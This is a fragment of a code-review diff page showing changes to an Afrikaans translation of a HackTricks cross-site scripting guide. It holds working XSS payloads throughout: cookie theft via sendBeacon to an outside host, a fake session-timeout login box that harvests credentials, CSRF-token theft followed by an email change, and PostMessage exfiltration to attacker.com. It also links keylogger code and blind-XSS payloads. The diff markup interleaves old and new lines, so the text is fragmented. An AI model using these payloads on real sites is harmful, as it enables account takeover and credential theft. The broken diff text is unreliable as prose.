{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
|
||||
Dan sal die onfocus-attribuut ingevoeg word en XSS vind plaas.
|
||||
|
||||
### Spesiale kombinasies
|
||||
```markup
|
||||
|
@ -822,12 +822,12 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS met kopinspuiting in 'n 302 antwoord
|
||||
|
||||
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrêre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal** nie, aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer nie as die HTTP-antwoordstatuskode 'n 302 is, so net 'n cross-site scripting payload is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS payload binne die liggaam te inspekteer en uit te voer.\
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-kop_, `resource://`.
|
||||
|
||||
### Slegs Letters, Syfers en Punte
|
||||
### Slegs Letters, Nommers en Punte
|
||||
|
||||
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
|
||||
|
||||
|
@ -837,7 +837,7 @@ As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer**
|
|||
|
||||
> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
|
||||
|
||||
Die enigste **Content-Type**s wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Die enigste **Inhoud-Tipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -868,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
Die antwoord is:
|
||||
|
||||
* **module** (verstek, niks om te verduidelik nie)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -895,7 +895,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
|
||||
```html
|
||||
|
@ -913,9 +913,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Web Inhoud-Tipes vir XSS
|
||||
### Web Inhoudstipes na XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoud tipes kan XSS in alle blaaiers uitvoer:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -928,9 +928,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
|
|||
|
||||
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Inhoud Tipe
|
||||
### xml Inhoudstype
|
||||
|
||||
As die bladsy 'n text/xml inhoud-tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
||||
As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
// our actual module code
|
||||
});
|
||||
```
|
||||
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanuit daardie funksie te gebruik om toegang te verkry tot **`require`**:
|
||||
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te bekom:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1006,7 +1006,7 @@ Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit mo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1117,7 +1117,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier het jy [‘n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/#httponly) as jy gelukkig genoeg is.
|
||||
Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier het jy [sommige maniere om hierdie beskerming te omseil](../hacking-with-cookies/#httponly) as jy gelukkig genoeg is.
|
||||
{% endhint %}
|
||||
|
||||
### Steel Bladsy Inhoud
|
||||
|
@ -1202,7 +1202,7 @@ _Short times indicate a responding port_ _Longer times indicate no response._
|
|||
|
||||
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Bokse om vir geloofsbriewe te vra
|
||||
### Bokse om vir akrediteerbesonderhede te vra
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
@ -1228,7 +1228,7 @@ Net deur in github te soek, het ek 'n paar verskillende gevind:
|
|||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* Jy kan ook metasploit `http_javascript_keylogger` gebruik
|
||||
|
||||
### Steel CSRF tokens
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -1243,7 +1243,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Dief van PostMessage-boodskappe
|
||||
### Steel PostMessage-boodskappe
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1267,7 +1267,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Blinde XSS lasladinge
|
||||
### Blinde XSS payloads
|
||||
|
||||
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1366,7 +1366,7 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
|
|||
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
|
||||
|
||||
|
@ -1448,21 +1448,21 @@ Find **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking loopbaan** and hack the unhackable - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) or the [**telegram groep**](https://t.me/peass) or **volg** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking triks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue